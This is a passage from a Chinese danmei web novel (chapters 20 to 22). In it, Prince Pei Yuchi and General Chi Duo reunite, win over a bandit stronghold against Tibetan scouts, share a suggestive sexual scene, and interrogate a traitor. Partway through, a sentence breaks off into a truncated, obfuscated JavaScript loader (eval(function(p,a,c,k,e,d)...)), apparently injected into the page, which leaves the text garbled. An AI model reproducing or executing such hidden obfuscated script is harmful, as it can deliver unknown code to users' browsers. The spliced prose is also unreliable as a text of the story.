迟铎在这一刻静了下来。他抬起手,指腹落在裴与驰唇上那道被自己咬出的伤处,血迹早已褪去,只余一抹浅红。那点触感顺着指尖落进心口,先前的怒气与委屈仿佛在此刻尽数散去,只剩下一点迟来的酸意,悄然漫开。他指尖轻轻摩挲着,像是为方才的失了分寸,补上一份温软。 裴与驰低头看着他,并不言语,只任由那指尖在自己唇上轻轻描着。夜色落进他那双素来冷淡的桃花眼里,竟映得分外清亮,目光不偏不倚,只落在迟铎身上。片刻后,他俯身,在迟铎尚未收回的指尖上落下一吻,一触即离。 那点温度散得很快,迟铎却没动,眼神自始至终追着他走,生怕一眨眼,人便要不见了。待裴与驰抬起头来,两人目光一撞,皆是一顿。裴与驰随即又俯身贴近,托住他的侧脸,掌心贴在颊侧,指腹慢慢摩挲,却偏不急着再亲,只让唇与唇轻轻相贴,停在那里。贴了一会儿,他又微微退开,目光落在迟铎脸上,仔细得很,仿佛要把这久别重逢的人,从眉眼到唇角,一寸一寸看回心里去。 可终究还是舍不得。 不过片刻,他便又贴了回去,动作依旧轻缓,掌心未曾离开,仍旧抚着那截温热的面颊。迟铎由着他这般贴着、看着,目光半点不移,只落在裴与驰身上,连眨眼都显得多余。 贴近,分开,又贴近。 林间风止,月色也似不忍惊扰,只静静淌在两人交缠的呼吸里。谁也没有开口,只在这一来一回的贴近与厮磨中,把那半个月攒下的惊惧、担忧与思念,一点一点揉碎了,吞回心底。 恰在此时,一声脆响,枯枝被重重踩断的动静,在这死寂的林中无异于惊雷乍落。 方才还在月下唇齿相依、耳鬓厮磨的二人,转瞬便翻了脸色。裴与驰揽人回护,迟铎短刃在手,寒光逼人,从方才靠着情郎、软得没骨头的模样,转眼便成了提刀索命的凶将。 “老大!是我!是我啊!莫要动手!!” 来人被这两道吃人的目光吓得魂飞魄散,连滚带爬地从灌木丛中钻了出来,双手高举过顶,那一嗓子喊得凄厉,活像真撞上了山鬼夜魇。 裴与驰在看清那张熟得不能再熟的糙脸时,眸中杀意方才堪堪收住。 是刘义。 这会儿的刘义,满头枯叶,一身夜露,衣襟湿透,狼狈得不成样子。他本也不想这个时辰往林子里钻,实在是被逼得没了法子。 半个时辰前,孟知武与文彭带着几个从前的匪民摸到了蜈蚣寨下。几人言辞恳切,又拿出了信物,赌咒发誓说自家主将靖武伯与三殿下是过命的交情,奉了密令前来救人,连那陈正衡也已被生擒,断断不会再害殿下。 若是搁在从前,这番话徐正义八成早就信了。 可如今…… “先人板板的,”徐正义蹲在寨墙上,眉头拧得死紧,嘴里叼着草根,死活不肯开门,“哪个晓得是不是官兵又使的幺蛾子?前脚才在陈正衡那个龟儿子手里吃了亏,这回若再信错,咱们这一寨老小连着殿下,都要被人一锅端了!” 孟知武在寨门外说得口干舌燥,徐正义却是油盐不进。 最后还是徐大当家眼珠子一转,一脚踹在刘义屁股上:“你去!你腿脚快,从密林那条老路摸过去,寻到殿下,问个清楚!要是真的,皆大欢喜;要是假的……” 他抬手在颈间一横,“立刻带着殿下走人!” 刘义心里直叫苦。他晓得殿下今夜是去探吐蕃人的营地了,那地方凶险得异常。这一路摸过来,他提心吊胆,生怕撞上吐蕃巡哨。好不容易到了坡下,远远瞧见林中人影晃动,心里先是一喜—— 准是老大! 可等走近一瞧,这一眼,险些没把他的魂都吓飞。昏暗林影之下,自家那位平日里英气逼人、杀伐果断的老大,正与另一道黑影纠缠在一处。那人同样一身夜行衣,身形修长挺拔,侧脸轮廓也英俊得很。两人贴得极近,几乎要将彼此揉进骨血里。 刘义怔在原地,下意识抬手揉了揉眼,又揉了揉。 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说罢,他又转头看向一脸木然的迟铎,语气温和:“这位是刘义。蜈蚣寨的二当家,这半月来,屡屡相助于我。” 至于方才林中那一幕:两人抱在一处,啃得难舍难分。他是半个字也没提,仿佛那不过是瘴气翻涌时生出的一点错影。 林间一时静得骇人。 刘义一时竟忘了起身,仍跪在地上,嘴巴微张,看着眼前这两位英俊少年,只觉脑子里轰的一声,仿佛千军万马齐齐踏过,震得心口发麻。 “哎呀我的娘咧……” 官兵们先前说,这位靖武伯与殿下是过命的交情,至交好友。那时他还当是夸口,如今亲眼瞧见,才晓得这话哪里有半点虚言,分明还说轻了咯!这哪是至交? 这分明是断袖交颈、命都绑在一块的冤家对头! 难怪那些当兵的拍着胸脯放话,说靖武伯立了军令状,殿下若有半点闪失,他便以命相抵,千里入蜀也要救人…... 敢情救的,从头到尾就不是旁人。 是情郎! 念头一起,刘义越想越觉心惊,忍不住偷眼一瞄,只见那位将军唇色尚红,再转眼去看那位面色如常、仿佛方才什么都未曾发生过的殿下,只觉喉头一紧,心里直打鼓。 “作孽哟……” 两个提刀砍脑壳、眼睛都不眨一下的狠角色,凑到一处,竟是这般光景?这要是传回寨子里,叫徐大当家晓得,怕是当场就要惊得下巴都掉到地上。 另一侧,迟铎的脸色亦未见好转。他面上仍维持着冷肃,甚至还能朝刘义略一点头致意,可心中早已翻江倒海,半点不似表面那般平静。 裴与驰这厮,莫不是真昏了头? 堂堂皇子,天潢贵胄,对着一个占山为王的匪首,竟眼皮都不眨便唤一声“兄”,还唤得那般顺口自然。这半个月来,他究竟是在此受困,还是早已混得如鱼得水,把这荒山野岭都当成了自家天地? 可这“兄”字,哪里是随口能喊的。 皇子身份在此,一声出口,便不再是江湖侠客的随性称呼,而是名分在前、人情在后。他这一声喊下去,是要把自己往下放,还是将旁人往上托?更何况对面若顺势应了,便是口头结义,情分一立,牵连便起,再想抽身,谈何容易。皇子与悍匪称兄道弟,混作一处,这话若是传回长安,落进朝中那些老狐狸耳里,扣他一个结党营私尚且算轻的,往深里说,牵到谋逆二字,也未必无人敢提。 偏他倒好,这般行事,面上竟还一派从容,仿佛浑然不觉其中凶险。念及此处,迟铎心头一紧,忍不住瞪了他一眼,只觉这人往日里算无遗策,事事都留三分余地,偏偏到了此时却松懈得不像话,仿佛全然忘了自己在朝堂上是何等境地。 莫不是这西南的瘴气吸得多了,把从前那点谨慎与精明,都给熏没了? ……又思及最初那一剂安神药,迟铎心口忽地一沉。那人行事向来如此,只要事情能成,自己受些牵连、担几分凶险,在他眼中便都算不得什么。 可他是不是忘了……这世上,早已不是只有他一人,会为他的安危提心吊胆。 这一念转过,迟铎心中那点火气非但没消,反倒愈发翻涌。他终究没绷住,抬手在裴与驰身上拧了一下,力道不轻不重,带着几分说不出口的恼。落在旁人眼里,却分明像是情到深处的嗔怪,带着点不自觉的亲昵意味。 迟铎自己也觉不妥,尚未来得及收敛,眼角余光便扫到刘义那张分明已然看懂了几分的糙脸,只觉额角隐隐作痛。 方才……自己与这混账之间的情状,怕是早已落入此人眼中,半点不剩。 念及此处,迟铎指节不自觉地在刀柄上缓缓收紧,牙关紧咬,“杀人灭口……”这一念生得干脆利落,省事得很。 那念头尚未在心中落定,手腕便被人轻轻按住。裴与驰的手一扬,正正压在他握刀的指节上,将那点方才冒头的杀意不动声色地按了回去。他并未回头看人,只像是随手为之,语气却低低的,贴着耳畔落下。 “乖一点,狸奴。” 迟铎几乎是瞬间便红了脸。那语气,他已许久未曾听过,一时竟连呼吸都乱了拍。 刘义这边好不容易从地上爬起来,先是跺了跺脚,又甩了甩腿。身为蜈蚣寨的二当家,他的看家本事向来是听声辨官兵、闻动识险,可此刻却顾不上这些,只转头看向裴与驰,满脸都是实打实的担忧。 “殿下,”他一脸认真,“这林子里,哪来的猫哦?” 说完又觉得不太放心,索性把心里的顾虑一股脑儿倒了出来:“这西南的瘴气邪得很,吸多了容易人发昏、脑子不清醒。要不咱们还是赶紧走出去,你歇一歇,缓口气?” 林中一瞬死静。 裴与驰:“……” 迟铎:“……” 刘义被这俩人盯得心里一紧,他张了张嘴,话已到舌尖,却在那一瞬猛地咽了回去。 那句“怕不是方才在林子里贴得太久,气没换匀咧?”,终究还是没敢说出口。 21. 亲兵 那句不知死活的“气都没换匀”,虽被刘义硬生生咽回了肚子里,可那眼神里的意思,实在粗糙、直白得很。迟铎只觉一口气自天灵盖直直撞下,羞恼交加之下,杀意几乎是本能地翻涌而起。三殿下剿匪数月未见成效,他尚可替这不成器的人遮掩一二;可若再放任他与绿林悍匪厮混下去,朝堂的弹劾怕是扑面而来。既如此,倒不如送他一桩军功,替他将这条越走越歪的路,生生掰回正途。 那只方才被裴与驰按下去的手,又慢慢覆上了刀柄。拇指轻顶,刀镡微响。既然这刘二当家作恶多端,口舌又太盛,索性便让他永远闭嘴,也算是一桩好事。 就在刀锋将出未出的一瞬,“吐蕃人已走。”裴与驰适时开口。 迟铎心头一震,猛地侧目看去。裴与驰神色依旧平静:“我比你们早到一炷香,下去探了一圈,那处村庄早已撤空。”他略一停顿,语声随之沉了几分:“十室九空,锅碗瓢盆尽数带走,灶下余灰也早已冷透。这不是仓皇逃散,而是早有谋划的拔营而去。” “我方才折返,正是在四下寻迹。坡后留有新血,马蹄纷乱,分明是有人刻意断后接应,将尾巴收拾干净后,一同退走。” 迟铎的手,终于彻底离了刀柄。他侧过头去,目光冷冷地在裴与驰身上掠过,那眼神里的意味,不言自明:你不是正落草为寇,与匪类混迹山中么?怎会比我还先察觉吐蕃军伍的去向?又怎会探得这般分明? 裴与驰一眼便看出了自家狸奴目中的疑色,唇角不由微微一扬。 “此事倒还要谢过刘兄与徐兄的义气。”他说着转过身来,抬手在刘义肩上轻轻一拍。那刘二当家尚自懵懂,全然不知自己方才已在鬼门关前打了个转。裴与驰语气却甚是郑重:“若非蜈蚣寨的弟兄机警,前几日在山道上拿下两个行迹可疑的吐蕃人,我也问不出这处藏兵之所。” 迟铎:“?” 裴与驰仿佛未曾瞧见他的神情,已收了笑意,神色一正,道:“靖武伯有所不知。蜈蚣寨在西南盘踞多年,名声听来骇人,可我细查忠县近年旧案,这伙人真正行凶劫掠之事,其实屈指可数。真正作恶的,多半早被徐正义逐出山去。留下的这些人,多是走投无路、被逼落草的苦主,并非天性凶顽。” 他说到这里,语声不急不缓,却自有分量:“案牍之中,李士廉勾结豪强、侵夺田土、逼良为娼的罪状,一桩桩一件件,写得触目惊心。徐正义等人劫的,是不义之财;杀的,是贪官污吏。我亦看过,这几年忠县百姓递上的状纸,十有八九是告官的,倒极少有人状告这‘蜈蚣王’害民。” 迟铎眉头渐渐蹙起,握刀的手却不知何时已松了力道。 “更何况,”裴与驰继续道,“寨中老弱妇孺俱在。若真是亡命之徒,凭这片瘠薄山林,早该以人相食。半月之前,我已命他们下山垦地修渠,重造黄册。如今寨中人等,早已弃刀执锄,皆持良民文牒,在官府有名有姓。” 说到此处,他转眼看向迟铎,眸色微冷。 “至于吐蕃人,那两个探子已尽数招认。他们此番仓促撤离,并非畏战,而是欲将明处的前哨,移入暗中。他们相中的,正是这座易守难攻、深藏山腹的蜈蚣寨。若得其寨,必先屠尽原主,据山为营,于林中养兵息众,待羽翼丰满之日,再如利刃一般,直刺蜀地腹心。” 话音落下,他抬手捏了捏迟铎的脸,又将那只刀柄的手轻轻压住,语气笃定,“是以,靖武伯,此寨之人,不但杀不得,反倒是眼下破局的关键。” 迟铎听罢,默然良久。他越过裴与驰的肩头,望向不远处那个一瘸一拐的刘义,又回过头来,看着眼前这位谈笑之间,便将一群悍匪纳入王化、视若编户齐民的三皇子。朝中往来文书,他早已得见,深知此人此行所为,皆为百姓,可偏偏做到这般地步,仍难免被裹挟进党争漩涡,进退皆难。 半晌,他才轻轻哼了一声,看着仍按在他手背上的手,索性将手心一翻,覆了上去。 “……既是良民,”手握着牢,嘴上却仍不肯吃亏,“那殿下回京之后,最好把这册良民文牒办得严丝合缝。否则左相一系若以‘私通匪类’为由参你,我可不替你分说。” 裴与驰低头看了一眼,随即顺势调整了力道,指节一错,十指已然交缠,将人牵住。 “这是自然,”他说,“不是还有靖武伯,为我作证么?” 落后十几步的刘义一脸菜色,心想自己和堂客都没这么黏得慌。雌雄双煞在前,他这个倒霉蛋在后,一并折回坡顶,与武秦、李校尉等人会合。 一时之间,场面竟有些说不出的别扭。官兵、土匪、皇子,齐齐站在一处,竟无半分冲突。官兵见了三殿下,自是躬身行礼、听令行事,理所当然。可偏偏那位自湖湘一路杀进蜀地、在绿林中闯出凶名的蜈蚣寨二当家刘义。此刻也躬身肃立,目光落在裴与驰身上,既敬且服,仿佛看的不是朝廷里的皇子,而是能带他们脱命改途的当家人。李校尉一时看得怔住,张了张口,却终究没能说出话来。 迟铎轻咳一声,抬手示意。李校尉这才回过神来,连忙上前禀道:“回靖武伯,属下等已循着四周查探。方圆十里之内,只余旧屋残灶,行辙断痕,再无人烟。灶灰已冷,屋舍空置,显是早有筹谋的撤离,并非临时惊走。” 他略一停顿,又抱拳道:“此地已无可查,恐怕只能先行回营,再作计议。” 迟铎颔首,裴与驰转身,对刘义道:“刘二当家,你带武秦即刻上山传信。”刘义一愣,随即肃然应声。 裴与驰复又开口:“吐蕃人此番拔营,并非畏战。若是惊退,断不至于撤得如此周全,连灶灰都收得干净。他们这是退一步,另择落脚之地。”他说着抬眼望向山势深处:“边界之外,多是碎岭荒林,不利久居。若要养兵藏人,进退自如,眼下能入他们眼的地方,只有蜈蚣寨。” 话落,场中一时无声。 裴与驰接着道:“寨中老幼妇孺,不可再留。即刻收拾行装,待天色微明,按批次下山,尽数安置入营。” 迟铎随即接话,转向武秦:“我先前已命孟知武、文彭等数十人入山寻殿下。你即刻传话,让他们原地进寨,分守要道,设巡防,立岗哨。”他顿了顿,又道:“另分一队人,随行护送下山之人,沿途不得生乱。” 裴与驰接口道:“名目记作,新垦荒地人手不足,需添伙夫、裁缝。孩童亦可跑腿杂役,皆给工钱,管饭食。” 武秦与李校尉齐声应是。 “走啊!” 迟铎见裴与驰立在原地,迟迟不肯上马,忍不住出声唤道:“三殿下?” 裴与驰抬眼看他:“狸奴,我眼下不能露面。” 迟铎一怔。 “我失踪这事,吐蕃人有数。”裴与驰道,“自陈正衡与他们默契地留出那片缓冲之地起,忠县内外,探子往来频繁。我若以皇子身份现身,他们立时便能得讯,知道忠县这一万兵马,清剿的正是他们。” 他略一停顿,又道:“只要我一日不现身,他们便会认定京军正在四处搜寻三皇子和处置内患,便自以为能瞒天过海,从而大举进山。” 迟铎自然听得懂。可听懂了,心里却不好受。 他轻轻咬了咬嘴唇。理智上知晓对方所言句句在理,可心里却还是别扭得很,才重逢不过片刻,又要分开,还是这般匆促。若当真要回蜈蚣寨,为何又偏偏遣刘义带着武秦先行?那话说得滴水不漏,倒像是早就算准了他会信,随口哄他一回便算完事。那双圆眼不知何时垂成了半月,湿漉漉的,透着几分失落与不快,哪还有先前欲取人性命的半分狠戾。 裴与驰看了他一会儿,目光在他脸上停了停,唇角轻轻一扬,随即便收了回去,语气一本正经:“所以,靖武伯可否行个方便?” 迟铎一愣,下意识抬眼。 “暂时收留我一晚。”裴与驰神色不改,“让我今晚扮作亲兵,随你同行。” 迟铎那双眼睛顿时又瞪圆了,方才那点失落一扫而空,整个人立时精神起来。座下战马忽地一抖,打了个响鼻,像是被什么毛茸茸的尾巴猛地拍了一下,吃疼似的低低抗议了一声。 “你!” “刚好。”裴与驰抬手指了指二人身上的夜行衣与面罩,“装束齐整。” 迟铎被噎了一下,翻了个白眼,心里骂了句没个正形。连这种时候都不忘占便宜、逗他两句。可话到嘴边,却怎么也吐不出一个“不”字,身子反倒先一步软了下来。 他低声哼了一句:“随你。”说完又像是觉得没面子,别开脸道:“那你还不上马?” 裴与驰看着他,眼底那点笑意终于懒得藏了。 迟铎话音刚落,身后便是一沉。那人已翻身上马,在他身后坐定。他索性往后一靠,把那位尊贵的三皇子殿下当作靠垫,半点不客气。 “我累了。”他说得理直气壮,“你骑着,带我。” 裴与驰应了一声,抬手揽住缰绳。熟悉的气息贴上来时,迟铎紧绷了一路的肩背,终于松了下来。 到了营地,裴与驰已将面巾重新系好,立在迟铎身后,背脊笔直,目光低垂,一副随时听候差遣的模样。迟铎走在前头,只觉背后那道存在感分外扎人,脚步不由慢了半拍。脑中闪过的,却尽是旧日情形,朝堂进退、局中落子,哪一次不是从容自若,锋芒毕露。何曾见过他这样收敛声色,低眉顺目。 入了帐内,迟铎方才解下佩刀,还未坐定,身后忽然一空,他一愣,回头望去,裴与驰已掀帐而出。片刻之后,人影复现。裴与驰端着一盆热水进来,水汽尚腾。迟铎看得发怔,问道:“你这是要做什么?” 裴与驰将水盆搁在一旁,袖口已然挽起,神色自若:“替将军更衣。” 话说得理直气壮,仿佛此刻当真只是个随行亲兵,暂代小厮之职。 他上前一步,迟铎下意识往后一退,背脊立时绷紧。若换作旁人,这一脚早已踹出,可站在眼前的是裴与驰,那股狠劲尚未冒头,便被生生压了下去。脸上泛起热意,动作也跟着慢了半拍。 “……你要做什么?”还是那句话,一出口,连他自己都觉出气力不足。 裴与驰未答,只伸手将他引到榻边,按着坐下。力道不轻,声音却低:“别动,我看看你身上可有伤。”说话间,他已俯身靠近。目光自迟铎肩颈往下,一寸寸看过,指腹在衣料外轻轻按了几处,细细察看。他今夜出手毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这一刻落在裴与驰眼里,便是: 眸含春水,未语先情;唇不施丹,朱色自成。 他没有立刻应声。两人离得极近,近到能看清那人睫毛轻轻颤着,近到呼吸一下一下落在自己颈侧。那双眼睛仍望着他,没有催促,也没有退避,只安安静静地等着。裴与驰指节微微收紧,眼睫低垂,片刻之后,低下头来,将额头抵在迟铎肩侧。迟铎一愣,还未来得及反应,便被人抱住。 裴与驰一只手扣在背后,将他牢牢圈进怀里,呼吸贴着颈侧落下,热得灼人。“别动。”他声音发哑,“让我抱一会儿。” 迟铎没有抬头,只把脸埋进对方肩窝里,乖乖不动。 帐中渐渐静了下来,只剩两人的呼吸声。 过了许久,裴与驰才稍稍卸了力道,却仍未放开。“我不是不想。”他的声音很低,“只是今晚不可。” 这里是刘正衡的旧营。 迟铎没抬头,只闷闷应了一声,乖顺得很。 只是久别重逢,情思翻涌,又正当年少气盛,血气未歇,本就难以自持。脑中那些分寸与克制翻来覆去,终究还是敌不过近在咫尺的一点气息。裴与驰低下头来,额头轻触,继而沿着眼睫缓缓游移,鼻尖相擦,却偏偏避开那处早已含着水光的唇,只在颈侧徘徊流连,像是故意折磨人,又像是有意引动春潮。 温热的呼吸一寸寸落下,迟铎只觉颈侧微痒,旋即一股酥意自脊背漫开,春水暗动,悄然泛滥,连四肢都跟着软了下来。眼睫不知何时染了湿意,心口潮热翻涌,竟真与那人词中所写一般: 春水暗生,溪流潺潺,难以自持。 偏偏身上那人还不肯罢休,贴得近了些,似是察觉到了什么,亲着亲着,忽而低低笑了一声,很是促狭。 迟铎几乎立刻便明白过来,这人心里转的,正是同一个念头。他磨了磨牙,趁其不备翻身将人压住,冷哼一声:“压不压软榻倒未必,殿下今夜,便老老实实给我当个靠垫。” 裴与驰神色泰然,只微微一笑,摇了摇头,语气里竟带出几分惋惜:“可惜狸奴不许我下榻取物,罗帕自然是没有的。”他说着,目光轻轻一转,声线慢了下来,意味却愈发分明,“那便只好……权且应付了。” 大的动静做不得,狸奴若肯乖一些,旁的事倒也不是不能。 原本备下的热水终究派上了用场,只是搁得久了,温度已退。凉意触上来时,迟铎不由轻轻一颤,下意识绷紧了身子,一时还有些不大适应。 偏偏有人还不肯见好就收,低声问道:“将军,属下行事,可有不周之处?” 迟铎被这句话噎得一滞,想骂,可方才一直死死捂着自己的嘴,生怕泄出半点不合时宜的声响。捂得久了,喉间反倒发紧,一时竟连骂都接不上来。他只能狠狠瞪了那人一眼,却又拿他无可奈何,只得别过脸去,耳根红得厉害。 可偏有人见此越发得意,竟当真摆出一副饱读诗书、行过万里的书生做派来,低低一笑,慢悠悠地说道:“古人不曾欺我,书上自有黄金屋。只是纸上得来终觉浅,真到眼前,方知分寸二字,最是磨人。” 迟铎索性往榻上一躺,装死不听,连眼睛都闭上了。 “只知轻舐,未免寡淡;只顾轻啮,反易生疼。须得舐啮相间,轻重错落,时或扶枝点露,时或引泉润泽,进退有节,火候得宜,方可采得花蜜,不负这一段春——” 他说得头头是道,俨然一副讲书论道的模样。 下一瞬,一个枕头迎面砸到了这个过于得寸进尺的亲兵身上。 22. 皇子妃 迟铎是被吻醒的。 睁眼那一瞬,神思尚未回拢,只觉额前一暖,唇畔被人轻轻贴了一下。待意识渐渐归位,昨夜种种方才浮上心头:闹也闹过,折腾也折腾够了,到最后,却偏偏只是和衣而睡。 和衣而睡。 和衣而睡 还是三皇子殿下亲口定下的规矩。 昨夜,那人分明刚做完那般孟浪之事,转头却又义正词严起来,非但不肯上榻,甚至扬言要席地而眠,口口声声“清白不可污,礼法不可乱”,说得光风霁月,道貌岸然,迟铎当时听得一愣一愣的,只觉此人端方正直得很。可再一想,方才那位埋首于tui间、诗性大发,引经据典大谈“分寸火候”的……莫非真是什么从艳情话本里走出来的游魂书生不成? 两人就此僵持了半晌。迟铎到底心软,舍不得真让他睡在地上,三请四请;三皇子殿下推却再三,见迟小将军态度实在诚恳,终究不忍拂却,这才正色道:“礼法在前,本不敢逾越,只是情势所迫,若再拘泥,反倒显得不通人情。” 这话一落,迟铎只觉浑身力气都被抽空了去,神思恍惚,像个游魂。他翻出一套干净里衣递过去,又怕稍后再生纠缠,索性自觉转过身去,给三皇子殿下留足更衣的体面,心里暗暗发誓,绝不再让“礼法”二字入耳。 谁料下一刻,忽听“哐当”一声,似有物坠地。迟铎循声望去,话尚未出口,心口已然一紧,却是他亲手雕的那支骨笛。裴与驰已俯身将骨笛拾起,拿在手里细细端详,指腹沿着笛身慢慢抚过,像是在察看是否磕碰。 到这般境地了,这东西竟还被他贴身收着。 迟铎盯着那支骨笛,喉头微哽,话到嘴边却走了样,冷不丁问了一句:“你……当真吹得成么?”语气里不免带了点刺,说完便觉不妥。他原本想问的,分明是你怎么还留着,再嫌一句刻得不甚好。 裴与驰抬眼看了他一眼,神色如常,似全未放在心上。指腹在笛身上轻轻一转,居然真要送到唇边试音。 迟铎心头一跳,这人的手段他可是亲耳听过的,若真让那魔音响起,只怕一声未歇,军中便要当作夜警,鼓角齐鸣,兵马尽起。 他三步并作两步上前,也顾不得什么分寸礼数了,伸手便将人一把抱住,硬生生把那点“雅兴”按了回去。“你是糊涂了不成?”迟铎这一急,先前那点锋芒尽散,只剩下一句直白得不能再直白的心里话,“那般时候……你竟还带着这个?” 迟铎抱得极紧,额头抵在裴与驰颈侧,呼吸微乱。他是亲眼见过那处营地被烧得一干二净的。火起之时是何等光景,不必再想,也不敢细想。那一夜,这人将护心镜塞给了他,自己心口的位置,却换成了这支既挡不得刀兵、吹起来还要吓人的骨笛。 裴与驰被他抱着,身形微微一顿,却并未挣开,只垂眼看了看怀里的狸奴,神色依旧平静:“不妨事。” 隔了片刻,再开口,声音却低不可闻,“你识得便好。” 若真有一日兵甲尽破,这东西落在何处,你也认得。” 话至此处,他似是察觉到怀里那点细微的颤意,便不再多言,只作势将骨笛送到唇边,仿佛再迟一瞬,怀里这只猫就真要掉下泪来。 果然,泪意终究未能尽收,那不成调的笛音也如约而至。 幸而三皇子殿下纵是少年心气,对分寸却还算有数。那一声笛音压得极低,吹得极短,不过扰了帐外野猫的清梦,并未惊动巡夜军士。 怀里那只猫哭了一阵,自己便止住了。闷声闷气地开口,倒像是郑重其事地立了个约:“束脩算我的。”他吸了吸鼻子,又低声添了一句:“回长安后,请个善音律的到府上,殿下……慢慢学。” 至此,什么怨气、什么恼意,尽数散去。狸奴的野性一并收了,只剩被殿下纵惯了的乖顺模样。莫说和衣而睡,便是三皇子再端着那套清白规矩、推却三分,他也全盘应下,还应得极其情愿,活脱脱一只话本里缠着书生、软声唤“裴郎”的痴心狸奴精。 后来如何入睡,已记不分明。只记得裴与驰睡姿端肃,俨然正人君子,与他隔着恰到好处的一线;倒是自己偏要贴上去,手脚并用,抱着不放,缠得厉害。 结果那位正人君子—— 昨夜端着礼法不放,今晨却来偷香。 迟铎睁开眼,看着眼前这张放大的俊脸,语气带着几分凉意:“殿下这套立身行止,倒真是进退皆宜,收放随心。” 殿下权当没听见。转眼便取了热水,拧了帕子,覆在他脸上,动作从容,俨然一副伺候人的正经模样。一边动作,还不忘一边催促:“狸奴,莫再赖着。正事在前。” 迟铎:“……” 他早先睁眼的时候就看过了,这会儿外头说是清晨,实在颇为牵强,眼神不济的,连火把都不敢省,独行一步,便容易踩空。 话音未落,裴与驰已丢下一句:“你自己擦,我得更衣。” 迟铎:“?” 他忍气吞声,拿起帕子在脸上胡乱抹了两下,待揭下来定睛一看,却是无语凝噎。 不过眨眼的功夫,三殿下竟已换了一身短打。 那身金贵的锦袍早不知被扔去了何处,连夜行衣也已褪下。取而代之的,是一件寻常的粗布短褐,袖口、裤脚皆用布带束得极紧,腰间随便以此勒住。浑身上下,竟寻不出半点皇子气派来,唯独脚上还蹬着那双官靴。迟铎盯着那双靴子,心里不合时宜地冒出个念头:若再换双草鞋,肩上搭条汗巾,这人怕是当真能下地锄田,也能挑着扁担在街巷里吆喝叫卖,且半点不显生疏。 “殿下这般熟稔,莫不是真爱上了这市井田园的日子?” 话出口时,语气凉凉的,带着点说不清的嘲讽,可迟铎的目光却没忍住,又在那人脸上多停了一瞬。 偏偏就是这张脸。 衣裳换得再寻常、再粗陋,也遮不住那眉眼轮廓的分明。晨光熹微,帐中光影昏暗,他站在那里,侧脸线条依旧深刻,眉目俊朗,半点不因身着粗布短褐而减色,反倒透出一股勃发的英气。迟铎原还以为,是锦袍加身,才多添了那三分俊朗与贵气;如今才发觉,竟并非如此。 这人哪里需要衣裳衬?分明是衣裳沾了他的光。 迟铎盯着看了片刻,心里那点没睡醒的起床气,忽然就散了。 裴与驰低头系紧腕带,并未察觉狸奴的心思,只道:“武秦已回来禀命,寨中老幼妇孺已分批尽数安置入营。吐蕃人若要夺寨,断不会贸然进山,必先遣人探看。蜈蚣寨一夜之间空出这许多人,若是毫无动静,反而瞒不过去。” 腕带终于扣紧,他顺势抬手理了理衣襟,“是以,得有人填回去。年关将至,山中匪寨也要下山置办年货。装作出入采买的匪属,带着些米面布匹上山,合情合理,才不惹人疑。” 说到这里,他终于同那身短褐较劲完毕,虽说动作稍显生疏,却到底穿得齐整利落。裴与驰抬眼看向迟铎,眼底笑意一闪:“狸奴,这选人的差事,便看你的了。” 迟铎没多说一句,已然翻身而起。动作利索地换好衣物,抬手一挥,便在帐中列队点人。神情冷肃,半点不似方才还在拌嘴。 “各队抽调数人。”他的目光在众人身上一一扫过,如挑牲口般剔剔拣拣,语气不紧不慢,却不容置喙:“挑身量偏矮、骨架清瘦的,换妇人装束;年岁大些、面相显老的,扮作老妪;其余年纪尚小的,直接总角梳髻,作垂髫孩童随行。” 话音落下,帐中死一般寂静。 兵士们面面相觑,脸色一个比一个精彩。 被点到名字的,先是一愣,继而齐刷刷垮下脸来,如丧考妣;可等看清分派的行头,那点哀怨又生了微妙变化,领到老妪装束的,看着同僚手里那一身花花绿绿的妇人衣裙,心中竟暗暗庆幸起来。 而真正如遭雷击的,是那几个被点作“孩童”的。不仅要换上小袄短衫,还得束发。发髻要梳成孩童样式,双鬟对分,系以红头绳,走起路来还得低着头,装作天真烂漫,半点军中威风都不能露。 有人捏着那根红头绳,当场就要哭出来,迟铎目光凉凉一扫,那点杂音立时噎了回去。 “这是军令。” 一句话落下,干脆利落,掷地有声。众人只得认命,各自去领衣物梳洗打扮。一时间,帐中鸡飞狗跳,场面极其惨烈。有人摸着胸前藏好的俩馒头长吁短叹,有人对着铜盆里的倒影生无可恋,角落里还有人一边往身上套着花袄,一边低声嘀咕:“早知如此,平日里多吃两碗饭,也不至于瘦得这般‘合用’……” 再次将陈正衡押上来时,他才一抬头,目光便死死钉在了裴与驰身上,整个人如遭雷击,筛糠般抖了起来。那张脸,他在梦里见过不知多少回。夜夜惊醒、冷汗浸枕,分明是已经葬身火海、领了死令的三皇子,如今却好端端立在眼前。莫非……真是从烈焰里爬出来,化作厉鬼,循着因果来索他的命?这念头一生,他心里便先虚了三分,目光不由自主地往下滑去,只见那人一身粗布短褐贴体,布带勒腰,袖口裤脚束得紧紧的,哪里还有半点天潢贵胄的模样?陈正衡心中更是笃定,暗道果然如此!连皇子到了地府,都得着这般短打,想来阴司之下,当真万物刍狗,贵贱皆同。三皇子生前何等尊贵,死后却受此折辱,定是怨气冲天,难怪要化作厉鬼,亲自上来讨债。 裴与驰任他这般盯着,神色不改,反倒刻意压低了嗓音,语调幽冷,仿佛带着地底的寒气:“陈正衡,你给吐蕃人递了什么消息?” 陈正衡被这一声唬得心口狂跳,魂飞魄散之下,下意识便应了:“也没什么……不过是官道的换防时辰,还有天子山的……” 话至半途,他忽地噎住。 这声音……有气儿?活的? 迟铎立在一旁,一时未能出声。陈正衡眼中的惊惧与狐疑全写在了脸上,而裴与驰偏又顺势演得愈发像那么回事,他也只得敛声屏气,抱臂冷眼相看,权当配合这一出夜审厉鬼。 直到陈正衡自己回过神来,脸色骤然青白交加变了几变,这才后知后觉地意识到,这索命的,怕不是鬼,是阎王。 “你……你怎的还会活着?!”陈正衡这一问几乎是脱口而出,话音里却早没了先前的底气。他心中实在想不明白,自己遣去的人亲眼见火起,杀手十去七八,连尸首都未必能寻全,怎偏偏这位正主,反倒好端端地站在了这里? 莫非这皇子,当真有飞天遁地、避火脱身的神通不成? 迟铎冷眼一扫:“陈正衡,殿下问你什么,你便答什么。我早与你说过,你肯开口,事便止在你这里。”。 自从上回迟铎将陈夫人请来营中坐了坐,陈正衡的骨头,便肉眼可见地软了几分。最初那副横眉立目、凶相毕露的气势早已不见,背脊虽还勉强挺着,眼中却再无戾气,只剩几分谨慎与惶惧,说话时也不敢再夹枪带棒。 “也……也没旁的。”他低声道,“不过是天子山的舆图,上头标了蜈蚣寨的所在,还有几处布防。” 